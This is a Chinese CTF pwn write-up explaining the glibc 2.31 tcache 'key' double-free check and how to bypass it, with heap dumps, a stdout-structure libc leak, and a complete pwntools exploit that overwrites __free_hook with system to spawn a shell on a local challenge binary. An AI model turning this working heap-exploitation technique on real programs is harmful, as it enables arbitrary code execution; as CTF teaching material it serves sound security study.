CTF-PWN

Pwn 知识点总结(2) - libc2.31 & mallo

2020-06-11  本文已影响0人  Nevv

题目信息

题目分析
利用思路
2.31版本tcachea安全特性

首先,为了增加安全性,2.29 版本以后的 tcache_entry 结构体发生了变化,增加了 key 字段。其结构体变成了

typedef struct tcache_entry
{
  struct tcache_entry *next;
/* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

且在 free 的时候多了一段检测

if (__glibc_unlikely (e->key == tcache))
{
    tcache_entry *tmp;
    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = tmp->next)
        if (tmp == e)
            malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence.  We've wasted a
few cycles, but don't abort.  */
}

之后在 tcache_put 函数中多了一段 e->key=tcache 的代码:

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
    tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free.  */
    e->key = tcache;

    e->next = tcache->entries[tc_idx];
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);
}

整个流程为:调用 tcache_put 放入 tcache_entry 的时候,其 next 指针和之前变化一致,但是其 key 字段指向了tcache。接下来 free 的时候会检测 key 字段是否为 tcache,如果相等则检测 free 的指针值是否在对应的tcache_entry 链上,如果在则视为程序在 double free,进而终止程序。这里为什么逻辑不是 key 等于 tcache 直接中断,应该是考虑了用户放在 key 字段的数据恰好为 tcache 值的情况。这种简单的方法使得之前的 tcache 非常随意的 double free 失效了。不过绕过的方式也非常简单,即在构造double free 时提前修改 key 字段的值为任意其他的值。所以相关的所有攻击手法依然可用,并且增加了能够修改key 字段的前提。

利用流程
绕过Tcache key检查
    Malloc(0x55, 'yuri')
    Delete()
    Malloc(0x77, 'yuri')
    Delete()

    # tcache[0x60] -> 7
    # fastbin[0x60] -> 1
    Malloc(0x55, 'yuri')
    for _ in range(8):
        Delete()
        Edit(8, '\x00')

tcachebins
0x60 [  7]: 0x55e803dfd2a0 ◂— 0x0
0x80 [  1]: 0x55e803dfd300 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x55e803dfd290 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
泄露libc
pwndbg> x /30gx 0x00007fdf38825690
0x7fdf38825690 <_IO_2_1_stderr_+208>:   0x0000000069727579  0x0000000000000000
0x7fdf388256a0 <_IO_2_1_stdout_>:   0x00000000fbad3887  0x00007fdf38825723
0x7fdf388256b0 <_IO_2_1_stdout_+16>:    0x00007fdf38825723  0x00007fdf38825723
0x7fdf388256c0 <_IO_2_1_stdout_+32>:    0x00007fdf38825723  0x00007fdf38825723
0x7fdf388256d0 <_IO_2_1_stdout_+48>:    0x00007fdf38825723  0x00007fdf38825723
0x7fdf388256e0 <_IO_2_1_stdout_+64>:    0x00007fdf38825724  0x0000000000000000
0x7fdf388256f0 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000

复习一下stdout结构体:

pwndbg> p stdout 
$1 = (struct _IO_FILE *) 0x7ffff7dd0760 <_IO_2_1_stdout_>
pwndbg> ptype stdout
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;  //  本质上是通过修改这个结构题泄露
    char *_IO_write_ptr;   //  这两个指针地址之间的内容
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
} *
getshell
EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

#---------------------Setting-----------------------
EXCV = context.binary = './lol'
LIBC = './libc-2.31.so'
elf = ELF(EXCV, checksec=False)
libc = ELF(LIBC, checksec=False)
if args.I:
    context.log_level = 'debug'
if args.D:
    context.terminal = ['tmux', 'split', '-h']
    gdb.attach(proc.pidof(r)[0])
#---------------------Setting-----------------------

def Malloc(size, content):
    r.sendlineafter('>', 'M')
    r.sendlineafter('>', str(size))
    r.sendafter('>', content)

def Delete():
    r.sendlineafter('>', 'D')

def Edit(index, content):
    r.sendlineafter('>', 'E')
    r.sendlineafter('>', str(index))
    r.sendafter('>', content)

def pwn():
    Malloc(0x55, 'yuri')
    Delete()
    Malloc(0x77, 'yuri')
    Delete()

    # tcache[0x60] -> 7
    # fastbin[0x60] -> 1
    Malloc(0x55, 'yuri')
    for _ in range(8):
        Delete()
        Edit(8, '\x00')

    # malloc_consolidate()
    r.sendlineafter('>', 'M')
    r.sendlineafter('>', '7'*0x400)

    # 1/16
    Edit(0, '\x90')
    Edit(1, '\x56')

    Malloc(0x55, 'yuri')
    Malloc(0x55, 'yuri')

    # two byte to leak
    Edit(1+0x10, chr(0x20 | 0x8 | 0x10))
    Edit(0x20+0x10, chr(0))

    data = r.recvuntil("============")[:-len("============")]
    if len(data) <= 0:
        raise Exception('eof')
    base = u64(data[8:16]) - 0x1eb980
    __free_hook_addr = base + libc.symbols['__free_hook']
    system_addr = base + libc.symbols['system']
    # print(hex(base), hex(__free_hook_addr), hex(system_addr))

    # tcache dup
    Malloc(0x77, 'yuri')
    for _ in range(5):
        Delete()
        Edit(8, '\x00')
    Delete()
    for i, ch in enumerate(p64(__free_hook_addr-8)):
        Edit(i, chr(ch))

    Malloc(0x77, 'yuri')
    Malloc(0x77, b'/bin/sh\x00' + p64(system_addr))
    Delete()


if __name__ == "__main__":
    while True:
        try:
            if args.R:
                r = remote('127.0.0.1', 30000)
            else:
                r = process(EXCV)
            pwn()
            break
        except:
            r.close()
    r.interactive()

【参考链接】

上一篇 下一篇

猜你喜欢

热点阅读